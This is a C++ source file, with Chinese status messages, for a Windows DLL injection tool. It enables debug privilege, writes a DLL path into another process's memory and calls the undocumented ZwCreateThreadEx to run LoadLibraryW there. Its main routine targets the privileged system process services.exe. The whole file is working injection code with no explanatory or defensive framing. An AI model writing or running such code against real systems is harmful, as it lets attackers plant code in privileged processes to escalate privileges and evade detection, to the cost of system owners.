#include "pch.h"
#include <Windows.h>
#include <processthreadsapi.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <atlconv.h>
#include <atlstr.h>
BOOL CreateRemoteThreadInject(DWORD dwProcessId, WCHAR* pszDllFileName) {
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) == false) {
printf("打开近访问令牌失败\n");
return FALSE;
}
LUID luid;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid) == false) {
printf("查看特权信息失败\n");
return FALSE;
}
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tkp.Privileges[0].Luid = luid;
if (false == AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
printf("调节权限失败\n");
return FALSE;
}
HANDLE hProcess = NULL;
DWORD dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL) {
printf("打开进程失败\n");
return FALSE;
}
dwSize = lstrlen(pszDllFileName) + 1;
pDllAddr = VirtualAllocEx(hProcess, NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL) {
printf("申请内存失败\n");
return FALSE;
}
BOOL WriteFlag = WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize * 2, NULL);
if (WriteFlag == NULL) {
printf("写入内存失败\n");
return FALSE;
}
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
if (hNtdll == NULL) {
printf("获取NTDLL地址失败\n");
return FALSE;
}
pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pFuncProcAddr == NULL) {
printf("获取loadlibrary地址失败\n");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) {
printf("获取ZW地址失败\n");
return FALSE;
}
HANDLE hRemoteThread = NULL;
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL) {
printf("创建失败\n");
return FALSE;
}
CloseHandle(hProcess);
FreeLibrary(hNtdll);
return TRUE;
}
DWORD GetPID(char* pszProcessName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
USES_CONVERSION;
CString ProcessName = A2T(pszProcessName);
BOOL flag = Process32First(hSnap, &pe);
while (flag) {
if (lstrcmp(pe.szExeFile, ProcessName) == 0) {
return pe.th32ProcessID;
}
flag = Process32Next(hSnap, &pe);
}
CloseHandle(hSnap);
return 0;
}
int main() {
printf("按下回车开始注入\n");
getchar();
DWORD dwPID = GetPID("services.exe");
bool flag = CreateRemoteThreadInject(dwPID, L"C:\\Users\\b1ackie\\Desktop\\RemoteTest.dll");
if (flag == FALSE) {
printf("注入失败\n");
}
else
printf("注入成功\n");
getchar();
return 0;
}